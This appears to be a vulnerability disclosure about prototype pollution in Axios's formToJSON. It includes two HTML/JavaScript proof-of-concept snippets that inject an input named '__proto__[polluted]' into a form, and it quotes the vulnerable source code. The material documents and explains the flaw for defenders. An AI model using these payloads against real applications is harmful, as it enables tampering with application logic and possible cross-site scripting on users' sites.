Promise based HTTP client for the browser and node.js.
The formToJSON
method from Axios was vulnerable to prototype pollution. In the initial example, the form selector is hijacked via the id attribute.
<script src="https://cdnjs.cloudflare.com/ajax/libs/axios/1.6.3/axios.js"></script>
<!-- user input -->
<form id="f">
<input name="__proto__[polluted]" value="1">
</form>
<script>
axios.post("/", document.getElementById("f"), {
"headers": { "Content-Type": "application/json" }
});
// axios.formToJSON(document.getElementById("f"));
alert(({}).polluted); // 1
</script>
Another way to hijack the form is through the form
attribute.
<script src="https://cdnjs.cloudflare.com/ajax/libs/axios/1.6.3/axios.js"></script>
<form id="f">
<!-- [...] -->
</form>
<!-- user input -->
<input form="f" name="__proto__[polluted]" value="1">
<script>
axios.post("/", document.getElementById("f"), {
"headers": { "Content-Type": "application/json" }
});
// axios.formToJSON(document.getElementById("f"));
alert(({}).polluted); // 1
</script>
Root Cause
function formDataToJSON(formData) {
function buildPath(path, value, target, index) {
let name = path[index++];
const isNumericKey = Number.isFinite(+name);
const isLast = index >= path.length;
name = !name && utils.isArray(target) ? target.length : name;
if (isLast) {
if (utils.hasOwnProp(target, name)) {
target[name] = [target[name], value];
} else {
target[name] = value;
}
return !isNumericKey;
}
if (!target[name] || !utils.isObject(target[name])) {
target[name] = [];
}
const result = buildPath(path, value, target[name], index);
if (result && utils.isArray(target[name])) {
target[name] = arrayToObject(target[name]);
}
return !isNumericKey;
}
if (utils.isFormData(formData) && utils.isFunction(formData.entries)) {
const obj = {};
utils.forEachEntry(formData, (name, value) => {
buildPath(parsePropPath(name), value, obj, 0);
});
return obj;
}
return null;
}
Related links:
Found by @kevin_mizu.